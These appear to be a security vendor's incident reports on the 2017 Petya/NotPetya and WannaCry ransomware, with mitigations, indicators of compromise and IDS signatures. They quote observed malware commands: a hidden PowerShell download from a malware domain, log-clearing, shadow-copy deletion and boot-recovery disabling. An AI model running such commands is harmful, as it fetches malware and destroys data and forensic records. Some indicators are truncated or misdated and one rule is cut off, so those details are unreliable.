vSOC Spot Report – Petya – Ransomware Attack

Latest Updates

2017-06-27 18:31 EDT

As details continue to come in, there is evidence that today’s ransomware outbreak was actually two different campaigns that occurred at the same time. Some of the indicators originally attributed to the Petya malware were actually indicators belonging to the second campaign which is aptly being called, NotPetya.

Exploitation of the CVE-2017-0199 the myguys.xls file attachment, and the french-cooking[.]com domain name are all related to the NotPetya/Loki campaign which was a different kind of attack aimed at banking institutions.

GuidePoint’s vSOC reported on the Petya ransomware incident as events were unfolding. Due to our goal of reporting accurate information in a timely manner some of the original information included in our SPOT report and blog post was misattributed to the NotPetya/Loki campaign that was running simultaneously. The difference in these two campaigns was not known or understood initially. We have made every attempt to update this blog post with accurate information as it has been made available.

2017-06-27 17:55 EDT

Several different security researchers have identified a method of preventing the encryption of the disk by using any available method or technology to prevent C:\windows\perfc.dat from being written to disk or executed. This method does not stop the spread of the malware, just halts the encryption functions.

As of 1730 EDT the email provider for the attacker’s wowsmith123456@posteo.net email has closed the account. This affects the ability to pay the ransom if you are infected. New variants may provide a new method of payment.

2017-06-27 15:31 EDT

Connections to the initial outbreak of the Petya ransomware has been correlated to a compromised accounting software, MeDoc, popular with many large Ukrainian businesses as well as the Ukrainian Government. Attackers compromised the update code of a recent release which helped propagate the ransomware to many different companies. The update was released at 10:30AM GMT, about an hour before the initial surge of infections was observed.

2017-06-27 15:30 EDT

New information has been made available that provides further insight into how the Petya ransomware operates. If the permissions of the logged in user are not sufficient enough to write to the Master Boot Record (MBR) the malware will attempt to encrypt files based on their extension like more traditional ransomware.

The list of file types that are encrypted: 3ds, 7z, accdb, ai, asp, aspx, avhd, back, bak, c, cfg, conf, cpp, cs, ctl, dbf, disk, djvu, doc, docx, dwg, eml, fdb, gz, h, hdd, kdbx, mail, mdb, msg, nrg, ora, ost, ova, ovf, pdf, php, pmf, ppt, pptx, pst, pvi, py, pyc, rar, rtf, sln, sql, tar, vbox, vbs, vcb, vdi, vfd, vmc, vmdk, vmsd, vmx, vsdx, vsv, work, xls, xlsx, xvd, zip.

The malware also clears system security logs to prevent further analysis using the command:

wevtutil cl Setup & wevtutil cl System & wevtutil cl Security & wevtutil cl Application & fsutil usn deletejournal /D %c:

To further protect vulnerable systems it is advised to disallow the execution of the psexec.exe program if it is not needed or to disallow non-privileged users from executing psexec.exe via GPO or other endpoint mechanisms.

2017-06-27 15:20 EDT

Blocking lateral movement of the Petya variants of ransomware can be achieved by patching the EternalBlue vulnerability (Microsoft’s Critical Security Bulletin MS17-010) and by disabling Administrative Shares via Group Policy Object (GPO). To disable ADMIN$ shares use the below process:

Create a file named adminshares.adm with the content from below, under C:\windows\inf on the server you edit your GPO’s with.

CLASS MACHINE 
CATEGORY !!category1 
CATEGORY !!category2 
POLICY !!policyname 
EXPLAIN !!DefaultSharesExplain 
KEYNAME "System\CurrentControlSet\Services\LanManServer\Parameters\" 
VALUENAME "AutoShareWks" 
VALUEON NUMERIC 1 
VALUEOFF NUMERIC 0 
END POLICY 
END CATEGORY 
END CATEGORY 
[strings] 
category1="Network" 
category2="Sharing" 
policyname="AdministrativeShares" 
DefaultSharesExplain="Enables default workstation administrative shares if enabled or disables if disabled" 

 

Next, create a new GPO and right click on administrative templates, and add the administrative template you just created.

Click machine administrative templates, go into view filtering, unselect/uncheck “Only show policy settings that can be fully managed” the setting is shown in the top picture. Basically this allows the GPO Editor to show settings, that is not within the default area of registry “preferences” – like ours. Any settings done outside “preferences” will persist if the policy is removed, unlike standard policies.

Open Administrative Templates – Network – Sharing

Enable or disable administrative shares.

2017-06-27 14:11 EDT

On Tuesday June 27, 2017, accounts of a new ransomware campaign named Petya or Petwrap, are making headlines as infections hit Kiev, Ukraine at approximately 11:30 GMT and continued to spread throughout Russia, Spain, France, UK, India, and various other countries in Europe. The Petya ransomware variant does not encrypt individual files on an infected machine like WCrypt0r from May 2017. Rather, Petya reboots the computer and overwrites the Master Boot Record (MBR) in the boot sector of the hard drive with its code demanding ransom. Without the MBR, the operating system has no directions for where to find the files it needs to boot and run. This effectively renders the entire computer useless until the ransom, $300 in Bitcoin, is paid.

Today’s Petya variant infects machines through a Microsoft Office vulnerability (CVE-2017-0199) and then moves laterally throughout the network exploiting the EternalBlue SMBv1 file-sharing protocol vulnerability as described in Microsoft’s Critical Security Bulletin MS17-010. Patching these vulnerabilities is imperative and will significantly reduce or eliminate the ability of this ransomware to impact your organization.

The Petya ransomware first appeared in early 2016, but the variant spreading through Europe and Russia today contain new code and new functions. Most notable is the use of the EternalBlue exploit to infect machines. This variant is an evolution that has combined new tactics and procedures made famous in other malware campaigns seen in 2017.

Notable companies affected by the Petya ransomware attack include (at the time of this writing):

  • Danish Shipping Company, Maersk
  • British Advertising Company, WPP
  • Russian Oil Company, Rosneft
  • Ukrainian Power Companies, Kyivenergo and Ukrenergo
  • Ukrainian Banks, National Bank of Ukraine (NBU) and Oschadbank
  • Ukrainian Mining Company, Evraz
  • Ukrainian Telecomms, Kyivstar, LifeCell, and Ukrtelecom
  • Ukrainian Nuclear Power Plant, Chernobyl

At the time of publishing this vSOC SPOT Report, there have been no confirmed active connections to any of the known indicators associated with this Petya malware variant from any vSOC subscriber network.

vSOC has obtained rules for CarbonBlack and CrowdStrike to detect this infection; vSOC Protect clients with either of these solutions are protected and monitored for the Petya variants of ransomware. vSOC Detect clients are also being monitored for all available indicators of the Petya variants by your vSOC team.

Technical Analysis

Petya’s rapid propagation is believed to be linked to the use of the exact same EternalBlue exploit that the WanaCrypt0r malware used in May 2017; attacks against the vulnerable SMBv1 file-sharing protocol. EternalBlue was released to the public after being allegedly stolen from the National Security Agency (NSA) in April 2017.

Current evidence shows that these attacks began with malicious spam emails weaponized to use the EternalBlue exploit for Microsoft Office vulnerability CVE-2017-0199 over TCP ports 445, 135, and potentially 1024-1035.

Malicious emails originate from IPs 84.200.16.242, 95.141.115.108, 111.90.139.247, 185.165.29.78 which the attackers have registered to the domains delightcaf[.]xyz, french-cooking[.]com and coffeeinoffice[.]xyz.

The mal-spam variant of this attack is predominantly coming from 84.200.16.242/myguy[.]xls and 185.165.29.78/myguy[.]xls. All traffic to the Command and Control (C2) servers is currently using HTTP as the communication protocol.

Early reports indicate the botnet distributing this malware originates from the LokiBot network. Also, additional reports state the Mischa ransomware package is included in the Petya PE, however confirmation is still forthcoming.

Latest Indicators of Compromise

2017-06-127 15:20 EDT

File Names

These files are all accessed using the runtime process WINWORD.EXE (PID3008)

  • %APPDATA%\Microsoft\Office\Recent\Order-20062017.LNK
  • %APPDATA%\Microsoft\Office\Recent\index.dat
  • %APPDATA%\Microsoft\Templates\~$Normal.dotm
  • C:\~$der-20062017.doc@Please_Read_me@.txt
  • %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.IE5\7N5LGTOO\myguy[1].hta
  • %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{1E328F26-90AD-432F-85D6-72D24D3FC842}.tmp
  • %LOCALAPPDATA%\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{8C06767A-F061-47F9-B88B-16AA8AA0D1F2}.tmp

Command and Control (C2)

  • 200.16.242/myguy[.]xls
  • 165.29.78/myguy[.]xls

Memory Strings

  • !”#$%&'()*+,-./0123456789:;<=>
  • “$(*.046:<“j.x\
  • (\{9%EZ”B%]V\XR){y%JWbj3jiDN}~Hl:x7
  • )|xA:X+Zp@w>v)7#% M+ANqR#mXf,934 qx$}&
  • /myguy.xls
  • /n “C:\Order-20062017.doc”
  • 00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000105000000000000}}
  • 0000320a5802580201000400000000005202bc0220003600050000000902000000021c000000fb021000070000000000bc02000000000102022253797374656d0076f8032f0040311500bf05087640910b76fc7cb3044c311500040000002d010500040000002d01050004000000f0010300030000000000}{\result {
  • 1Pm\\9M2aD];Yt\[x]}Wr|]g-
  • 6iD_,|uZ^ty;!Y,}{C/h> PK ! dQ 1 word/_rels/document.xml.rels ( j0{-;@ $~

File Hash Values

  • 185.165.29.78
    • A809a63bc5e31670ff117d838522dc433f74bee
    • 078de2dc59ce59f503c63bd61f1ef8353dc7cf5f
    • bec678164cedea578a7aff4589018fa41551c27f
    • d5bf3f100e7dbcc434d7c58ebf64052329a60fc2
    • aba7aa41057c8a6b184ba5776c20f7e8fc97c657
    • 0ff07caedad54c9b65e5873ac2d81b3126754aac
    • 51eafbb626103765d3aedfd098b94d0e77de1196
  • 84.200.16.242
    • 7ca37b86f4acc702f108449c391dd2485b5ca18c
    • 2bc182f04b935c7e358ed9c9e6df09ae6af47168
    • 1b83c00143a1bb2bf16b46c01f36d53fb66f82b5
    • 82920a2ad0138a2a8efc744ae5849c6dde6b435d

Binary Details

The binary is currently signed using a certificate from Sysinternals. This will give a Certificate Name Mismatch error; however, the binary will still run in Windows. The current samples attempt to hijack an authorized session in order to spread using psexec. Several of the samples show the lateral movement functions are utilizing Windows Management Instrumentation Command-line (WMIC). Both are avenues for the malware to gain either local or Domain Administrator privileges allowing it to spread using that level of credential.

The sample was compiled for the i386 architecture specifically but appears to be functional on x64 architecture as well.

The PE imports the following DLL files for proper execution:

  • ADVAPI32.dll
  • CRYPT32.dll
  • DHCPSAPI.DLL
  • IPHLPAPI.DLL
  • KERNEL32.dll
  • MPR.dll
  • NETAPI32.dll
  • SHELL32.dll
  • SHLWAPI.dll
  • USER32.dll
  • WS2_32.dll
  • msvcrt.dll
  • ole32.dll

Powershell

The PE will attempt to execute the following script:

PowerShell -WindowStyle Hidden (New-Object System.Net.WebClient).DownloadFile(‘http://french-cooking.com/myguy.exe’, ‘%APPDATA%\<random>.exe’)

The <random> variable is a random number between 0-65535, which it will then call with the arguments 1  0 (For example %APPDATA%\10254.exe 1 0).

Additional files dropped:

  • http[:]//185.165.29.78/~alex/svchost.exe

Extortioner Contact Info:

Mitigation

vSOC recommends immediately patching the vulnerabilities described in CVE-2017-0199  and MS17-010. However, unlike the previous WCrypt0r ransomware, patching alone will not prevent the spread of this malware. Petya’s code will attempt to use a variety of methods to propagate itself including the EternalBlue vulnerability, WMIC, and Powershell.

vSOC recommends that organizations:

References:

vSOC SPOT Report – WCrypt (WanaCrypt0r 2.0) – Ransomware Attack

Latest Updates

2017-05-14 10:08 EDT

Researchers are reporting that a new variant of the WannaCrypt malware has been observed in the wild notably missing the kill switch check for the www.Iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com domain that @MalwareTechLab registered to stop the first variant from propagating as fast. It has been speculated that the kill switch was actually a poorly implemented check to see if the malware was running in a sandbox. Even variants with the kill switch can continue to propagate and infect vulnerable networks through phishing emails or other lateral movement capabilities.

It is imperative that all Windows systems be patched. Microsoft released an out-of-band patch for deprecated operating systems to include Windows XP and Server 2003 Saturday to help thwart this campaign. vSOC will remain diligent in monitoring all client environments for signs of compromise or infection.

GuidePoint recommends disabling SMBv1 using a GPO or PowerShell script:

Via GPO

To enable or disable SMBv1 on the SMB server, configure the following registry key (a reboot is required):

Registry subkey: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\ParametersRegistry entry: SMB1
REG_DWORD: 0 = Disabled
REG_DWORD: 1 = Enabled
Default: 1 = Enabled
To enable or disable SMBv2 on the SMB server, configure the following registry key:
Registry subkey:HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\ParametersRegistry entry: SMB2
REG_DWORD: 0 = Disabled
REG_DWORD: 1 = Enabled
Default: 1 = Enabled

Via PowerShell

To disable SMBv1 on the SMB server, run the following cmdlet:

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB1 -Type DWORD -Value 0 -Force

To enable SMBv2 and SMBv3 on the SMB server, run the following cmdlet:

Set-ItemProperty -Path “HKLM:\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters” SMB2 -Type DWORD -Value 1 -Force

2017-05-12 22:28 EDT

A UK malware researcher whose Twitter handle is @MalwareTechLab “accidentally” stopped one wide-spread variant of the ransomware from propagating further by registering a domain discovered while analyzing the code. The domain, Iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com is a kill switch that the code sends a GET request for. If the domain is not found, the code continues and infects the host. If the domain is found the code exits and the host is not infected. As long as the domain does not get revoked or taken down, this particular variant will cease infecting new machines. New variants are likely to spring up in the coming days and weeks without this kill switch feature, so due diligence is highly recommended along with patching all vulnerable systems and disabling SMB v1.

Based on this latest information, GuidePoint recommends our original mitigation steps:

  • All systems be updated to the latest patch available from Microsoft. The patch specific to the exploit kit is labeled KB4012598 or MS17-010 and should be evaluated for deployment immediately if it has not already been applied. This will prevent the SMB traffic from exploiting the vulnerability, and eliminates initial infection vectors.
  • Application whitelisting be applied to prevent any applications from running which are not from a specified location or signed by the whitelisted vendor.
  • You create and maintain offline backups of critical data which will reduce the amount of damage a crypto- ransomware attack is capable of inflicting.
  • You ensure your antivirus definitions are up to date. Most major anti-virus vendors have been provided samples of this malware and have developed detections and definitions. Currently, approximately 31 out of 60 A/V vendors tested can recognize and stop this infection. Major vendors not included in the list include Symantec and Sophos.

Latest Indicators of Compromise

2017-05-12 22:36 EDT

File Names

  • mssecsvc.exe
  • @wanadecryptor@.exe
  • taskdl.exe
  • taskse.exe
  • tasksche.exe
  • tor.exe
  • @Please_Read_me@.txt

File Extensions

  • .wcry
  • .wncry
  • .wncryt
  • .wncy

Windows Service Name

  • mssecsvc2.0
  • Microsoft Security Center (2.0) Service

File Strings

  • Wanna Decryptor 1.0
  • Wana DecryptOr
  • Wana Decrypt0r
  • WANNACRY
  • WanaCryptOr
  • WanaCrypt0r
  • WANACRY!
  • WNcry@2o17

File Hash Values

  • ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
  • c365ddaa345cfcaff3d629505572a484cff5221933d68e4a52130b8bb7badaf9
  • 09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa
  • 0a73291ab5607aef7db23863cf8e72f55bcb3c273bb47f00edf011515aeb5894
  • 428f22a9afd2797ede7c0583d34a052c32693cbb55f567a60298587b6e675c6f
  • 5c1f4f69c45cff9725d9969f9ffcf79d07bd0f624e06cfa5bcbacd2211046ed6
  • 62d828ee000e44f670ba322644c2351fe31af5b88a98f2b2ce27e423dcf1d1b1
  • 72af12d8139a80f317e851a60027fdf208871ed334c12637f49d819ab4b033dd
  • 85ce324b8f78021ecfc9b811c748f19b82e61bb093ff64f2eab457f9ef19b186
  • a1d9cd6f189beff28a0a49b10f8fe4510128471f004b3e4283ddc7f78594906b
  • a93ee7ea13238bd038bcbec635f39619db566145498fe6e0ea60e6e76d614bd3
  • b43b234012b8233b3df6adb7c0a3b2b13cc2354dd6de27e092873bf58af2693c
  • eb47cd6a937221411bb8daf35900a9897fb234160087089a064066a65f42bcd4
  • 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
  • 2c2d8bc91564050cf073745f1b117f4ffdd6470e87166abdfcd10ecdff040a2e
  • 7a828afd2abf153d840938090d498072b7e507c7021e4cdd8c6baf727cafc545
  • a897345b68191fd36f8cefb52e6a77acb2367432abb648b9ae0a9d708406de5b
  • fb0b6044347e972e21b6c376e37e1115dab494a2c6b9fb28b92b1e45b45d0ebc
  • 9588f2ef06b7e1c8509f32d8eddfa18041a9cc15b1c90d6da484a39f8dcdf967
  • b43b234012b8233b3df6adb7c0a3b2b13cc2354dd6de27e092873bf58af2693c
  • 4186675cb6706f9d51167fb0f14cd3f8fcfb0065093f62b10a15f7d9a6c8d982
  • 2584e1521065e45ec3c17767c065429038fc6291c091097ea8b22c8a502c41dd
  • 2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d
  • 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79

Command and Control IP’s:

  • 188.166.23.127:443
  • 193.23.244.244:443
  • 2.3.69.209:9001
  • 50.7.161.218:9001
  • 217.79.179.77
  • 128.31.0.39
  • 213.61.66.116
  • 212.47.232.237
  • 81.30.158.223
  • 79.172.193.32
  • 89.45.235.21
  • 38.229.72.16
  • 188.138.33.220
  • 146.0.32.144:9001
  • 188.166.23.127:443
  • 193.23.244.244:443

Sender IPs:

  • 205.186.153.200
  • 96.127.190.2
  • 184.154.48.172
  • 200.58.103.166
  • 216.145.112.183
  • 162.220.58.39
  • 192.237.153.208
  • 146.0.32.144
  • 188.166.23.127
  • 50.7.161.218
  • 2.3.69.209
  • 74.125.104.145
  • 75.126.5.21

Tor Onion URL’s:

  • 57g7spgrzlojinas.onion
  • 76jdd2ir2embyv47.onion
  • cwwnhwhlz52maqm7.onion
  • gx7ekbenv2riucmf.onion
  • sqjolphimrr7jqw6.onion
  • Xxlvbrloxvriy2c5.onion

Mutex:

  • ShimCacheMutex
  • Global\MsWinZonesCacheCounterMutexA0
  • MsWinZonesCacheCounterMutexA

Domains:

  • R12.sn-h0j7sn7s.gvt1.com
  • Iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

Email Sender:

  • alertatnb@serviciobancomer.com

Kill Switch Domain:

  • www.Iuqerfsodp9ifjaposdfjhgosurijfaewrwergwea.com

Snort Signatures:

alert tcp $HOME_NET 445 -> any any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response”; flow:from_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:2;)

alert smb any any -> $HOME_NET any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Heap Spray”; flow:to_server,established; content:”|ff|SMB|33 00 00 00 00 18 07 c0 00 00 00 00 00 00 00 00 00 00 00 00 00|”; offset:4; depth:25; content:”|08 ff fe 00 08 41 00 09 00 00 00 10|”; within:12; fast_pattern; content:”|00 00 00 00 00 00 00 10|”; within:8; content:”|00 00 00 10|”; distance:4; within:4; pcre:”/^[a-zA-Z0-9+/]{1000,}/R”; threshold: type threshold, track by_src, count 12, seconds 1; classtype:trojan-activity; sid:2024217; rev:1;)

alert smb any any -> $HOME_NET any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Request (set)”; flow:to_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 18 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:set,ETPRO.ETERNALBLUE; flowbits:noalert; classtype:trojan-activity; sid:2024220; rev:1;)

alert smb $HOME_NET any -> any any (msg:”ET EXPLOIT Possible ETERNALBLUE MS17-010 Echo Response”; flow:from_server,established; content:”|00 00 00 31 ff|SMB|2b 00 00 00 00 98 07 c0|”; depth:16; fast_pattern; content:”|4a 6c 4a 6d 49 68 43 6c 42 73 72 00|”; distance:0; flowbits:isset,ETPRO.ETERNALBLUE; classtype:trojan-activity; sid:2024218; rev:1;)
http://docs.emergingthreats.net/bin/view/Main/2024218

The ransomware encrypts files with the following extensions:

.der, .pfx, .key, .crt, .csr, .p12, .pem, .odt, .ott, .sxw, .stw, .uot, .3ds, .max, .3dm, .ods, .ots, .sxc, .stc, .dif, .slk, .wb2, .odp, .otp, .sxd, .std, .uop, .odg, .otg, .sxm, .mml, .lay, .lay6, .asc, .sqlite3, .sqlitedb, .sql, .accdb, .mdb, .dbf, .odb, .frm, .myd, .myi, .ibd, .mdf, .ldf, .sln, .suo, .cpp, .pas, .asm, .cmd, .bat, .ps1, .vbs, .dip, .dch, .sch, .brd, .jsp, .php, .asp, .java, .jar, .class, .mp3, .wav, .swf, .fla, .wmv, .mpg, .vob, .mpeg, .asf, .avi, .mov, .mp4, .3gp, .mkv, .3g2, .flv, .wma, .mid, .m3u, .m4u, .djvu, .svg, .psd, .nef, .tiff, .tif, .cgm, .raw, .gif, .png, .bmp, .jpg, .jpeg, .vcd, .iso, .backup, .zip, .rar, .tgz, .tar, .bak, .tbk, .bz2, .PAQ, .ARC, .aes, .gpg, .vmx, .vmdk, .vdi, .sldm, .sldx, .sti, .sxi, .602, .hwp, .snt, .onetoc2, .dwg, .pdf, .wk1, .wks, .123, .rtf, .csv, .txt, .vsdx, .vsd, .edb, .eml, .msg, .ost, .pst, .potm, .potx, .ppam, .ppsx, .ppsm, .pps, .pot, .pptm, .pptx, .ppt, .xltm, .xltx, .xlc, .xlm, .xlt, .xlw, .xlsb, .xlsm, .xlsx, .xls, .dotx, .dotm, .dot, .docm, .docb, .docx, .doc

Once started it immediately spawns several processes to change file permissions and communicate with tor hidden c2 servers:

attrib +h .
icacls . /grant Everyone:F /T /C /Q
C:\Users\xxx\AppData\Local\Temp\taskdl.exe
@WanaDecryptor@.exe fi
300921484251324.bat
C:\Users\xxx\AppData\Local\Temp\taskdl.exe
C:\Users\xxx\AppData\Local\Temp\taskdl.exe
The malware creates mutex “Global\MsWinZonesCacheCounterMutexA” and runs the command:
cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no & wbadmin delete catalog -quiet

Files:

  • [Installed_Folder]\00000000.eky
  • [Installed_Folder]\00000000.pky
  • [Installed_Folder]\00000000.res
  • [Installed_Folder]\@WanaDecryptor@.exe
  • [Installed_Folder]\@WanaDecryptor@.exe.lnk
  • [Installed_Folder]\b.wnry
  • [Installed_Folder]\c.wnry
  • [Installed_Folder]\f.wnry
  • [Installed_Folder]\msg\
  • [Installed_Folder]\msg\m_bulgarian.wnry
  • [Installed_Folder]\msg\m_chinese (simplified).wnry
  • [Installed_Folder]\msg\m_chinese (traditional).wnry
  • [Installed_Folder]\msg\m_croatian.wnry
  • [Installed_Folder]\msg\m_czech.wnry
  • [Installed_Folder]\msg\m_danish.wnry
  • [Installed_Folder]\msg\m_dutch.wnry
  • [Installed_Folder]\msg\m_english.wnry
  • [Installed_Folder]\msg\m_filipino.wnry
  • [Installed_Folder]\msg\m_finnish.wnry
  • [Installed_Folder]\msg\m_french.wnry
  • [Installed_Folder]\msg\m_german.wnry
  • [Installed_Folder]\msg\m_greek.wnry
  • [Installed_Folder]\msg\m_indonesian.wnry
  • [Installed_Folder]\msg\m_italian.wnry
  • [Installed_Folder]\msg\m_japanese.wnry
  • [Installed_Folder]\msg\m_korean.wnry
  • [Installed_Folder]\msg\m_latvian.wnry
  • [Installed_Folder]\msg\m_norwegian.wnry
  • [Installed_Folder]\msg\m_polish.wnry
  • [Installed_Folder]\msg\m_portuguese.wnry
  • [Installed_Folder]\msg\m_romanian.wnry
  • [Installed_Folder]\msg\m_russian.wnry
  • [Installed_Folder]\msg\m_slovak.wnry
  • [Installed_Folder]\msg\m_spanish.wnry
  • [Installed_Folder]\msg\m_swedish.wnry
  • [Installed_Folder]\msg\m_turkish.wnry
  • [Installed_Folder]\msg\m_vietnamese.wnry
  • [Installed_Folder]\r.wnry
  • [Installed_Folder]\s.wnry
  • [Installed_Folder]\t.wnry
  • [Installed_Folder]\TaskData\
  • [Installed_Folder]\TaskData\Data\
  • [Installed_Folder]\TaskData\Data\Tor\
  • [Installed_Folder]\TaskData\Tor\
  • [Installed_Folder]\TaskData\Tor\libeay32.dll
  • [Installed_Folder]\TaskData\Tor\libevent-2-0-5.dll
  • [Installed_Folder]\TaskData\Tor\libevent_core-2-0-5.dll
  • [Installed_Folder]\TaskData\Tor\libevent_extra-2-0-5.dll
  • [Installed_Folder]\TaskData\Tor\libgcc_s_sjlj-1.dll
  • [Installed_Folder]\TaskData\Tor\libssp-0.dll
  • [Installed_Folder]\TaskData\Tor\ssleay32.dll
  • [Installed_Folder]\TaskData\Tor\taskhsvc.exe
  • [Installed_Folder]\TaskData\Tor\tor.exe
  • [Installed_Folder]\TaskData\Tor\zlib1.dll
  • [Installed_Folder]\taskdl.exe
  • [Installed_Folder]\taskse.exe
  • [Installed_Folder]\u.wnry
  • [Installed_Folder]\wcry.exe

Registry Entries:

  • HKCU\Software\Microsoft\Windows\CurrentVersion\Run\[random] “[Installed_Folder]\tasksche.exe
  • HKCU\Software\WanaCrypt0r\
  • HKCU\Software\WanaCrypt0r\wd [Installed_Folder]
  • HKCU\Control Panel\Desktop\Wallpaper “[Installed_Folder]\Desktop\@WanaDecryptor@.bmp”

Email Subjects:

  • FILE_<5 numbers>
  • SCAN_<5 numbers>
  • PDF_<4 or 5 numbers>

Email Attachment:

  • nm.pdf

Surricata SIgnatures (https://github.com/xNymia/Suricata-Signatures/blob/master/EquationGroup.rules):

# EternalBlue Signature matching potential NEW installation of SMB payloadalert tcp $HOME_NET any -> any any (msg:”EXPLOIT Possible Successful ETERNALBLUE Installation SMB MultiplexID = 82 – MS17-010″; flow:from_server,established; content:”|FF|SMB|32 02 00 00 c0|”; offset:4; depth:9; content:”|52 00|”; distance:21; within:23; classtype:trojan-activity; sid:5000072; rev:1;)

# EternalBlue Signature matching return signature for connection to pre-installed SMB payloadalert tcp $HOME_NET any -> any any (msg:”EXPLOIT Successful ETERNALBLUE Connection SMB MultiplexID = 81 – MS17-010″; flow:from_server,established; content:”|FF|SMB|32 02 00 00 c0|”; offset:4; depth:9; content:”|51 00|”; distance:21; within:23; classtype:trojan-activity; sid:5000073; rev:1;)

# Signature to identify what appears to be initial setup trigger for SMBv1 – MultiplexID 64 is another unusual valuealert tcp $HOME_NET any -> any any (msg:”EXPLOIT Possible ETERNALBLUE SMB Exploit Attempt Stage 1/2 – Tree Connect AndX MultiplexID = 64 – MS17-010″; flow:to_server,established; content:”|FF|SMB|75 00 00 00 00|”; offset:4; depth:9; content:”|40 00|”; distance:21; within:23; flowbits: set, SMB.v1.AndX.MID.64; classtype:trojan-activity; sid:5000074; rev:1;)

# Signature triggers on Trans2 Setup Request with MultiplexID – 65 – Another unusual MID – Only triggers if 64 was seen previously. alert tcp $HOME_NET any -> any any (msg:”EXPLOIT Possible ETERNALBLUE SMB Exploit Attempt Stage 2/2 – Trans2 SUCCESS MultiplexID = 65 – MS17-010″; flow:to_server,established; content:”|FF|SMB|32 00 00 00 00|”; offset:4; depth:9;

Overview

On Friday, May 12th, an attack being made against the United Kingdom National Health Service (NHS) and the Spain- based telecommunications company, Telefonica, was made public. Reports now show that both companies have been hit with the WCrypt (WanaCrypt0r 2.0) crypto-ransomware. This attack is being perpetrated through the use of the recently leaked Eternal Blue exploit, belonging to the exploit kits released by the ShadowBrokers dump from the compromise of the National Security Agency (NSA). This exploit has been weaponized as a worm using a previously unpatched SMB vulnerability. This exploit has verified infections in the US as well. While data is still filtering in, early reports indicate FedEx is among the first US businesses compromised.

WCrypt Data

WCrypt is a standard crypto-ransomware which, once on the user’s system, encrypts the user’s files with the threat of deletion of the encryption keys if the user does not pay the ransom within seven days. With this variant, the ransom is demanded within 3 days or the ransom amount doubles, and within 7 days if the ransom isn’t paid, the encryption keys are deleted rendering all encrypted data unrecoverable.

Recognizing WCrypt Infections

The infection stems from a file named: wannacry.exe. The Hashes are located below:

SHA256:

  • 2ca2d550e603d74dedda03156023135b38da3630cb014e3d00b1263358c5f00d
  • 4a468603fdcb7a2eb5770705898cf9ef37aade532a7964642ecd705a74794b79
  • 09a46b3e1be080745a6d8d88d6b5bd351b1c7586ae0dc94d0c238ee36421cafa
  • 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c
  • 2584e1521065e45ec3c17767c065429038fc6291c091097ea8b22c8a502c41dd

SHA1:

  • 45356a9dd616ed7161a3b9192e2f318d0ab5ad10
  • 51e4307093f8ca8854359c0ac882ddca427a813c

MD5:

  • 509c41ec97bb81b0567b059aa2f50fe8
  • 7bf2b57f2a205768755c07f238fb32cc
  • 7f7ccaa16fb15eb1c7399d422f8363e8

Once a system is infected with the ransomware, a screen similar to the following image appears informing the user of the infection as well as the ransom price and bitcoin address where the payment can be made.

WCrypt

The infection also typically spawns a large number of processes which are the result of the encryption process as well as the desktop theme changes and the decryptor listener.

Infection Vector: Eternal Blue

In the latest dump of the ShadowBroker’s exploits, Eternal Blue was considered especially dangerous due to its use of SMB v1 as the attack vector. This vulnerability was assigned the designation CVE-2017-0143, 0144, 0145, 0146, and 0147, it contains multiple avenues of attack and most Windows operating systems are vulnerable. This has been determined to be the method of infection from multiple sources, including Matthew Hickey, aka HackerFantastic, a reknown malware and security researcher. Of particular note is the presence of worm characteristics in the delivery. Once infected, the system becomes a part of the botnet for pushing the malware out.

Identifying Eternal Blue and the WCrypt Attack

A recently released screenshot, from malware researcher Kafiene, displays the traffic patterns for the Eternal Blue exploit.

Wcrypt Logs

As is evidenced in the image, most traffic is seen using port 445, whch is the standard port used by SMB v1 and v2. Network monitoring is essential to identify threats as they appear.

Mitigation

In order to mitigate this attack, it is recommended that:

  • All systems be updated to the latest patch available from Microsoft. The patch specific to the exploit kit is labeled KB4012598 or MS17-010 and should be evaluated for deployment immediately if it has not already been applied. This will prevent the SMB traffic from exploiting the vulnerability, and eliminates initial infection vectors.
  • Application whitelisting be applied to prevent any applications from running which are not from a specified location or signed by the whitelisted vendor.
  • You create and maintain offline backups of critical data which will reduce the amount of damage a crypto- ransomware attack is capable of inflicting.
  • You ensure your antivirus definitions are up to date. Most major anti-virus vendors have been provided samples of this malware and have developed detections and definitions. Currently, approximately 31 out of 60 A/V vendors tested can recognize and stop this infection. Major vendors not included in the list include Symantec and Sophos.

Matthew Hickey of Hacker House discovered the decryption binary in a zip file in the PE resources which is encrypted with the password of WNcry@2ol7. This can be used to potentially decrypt the files which were affected by the malware.

Final Analysis

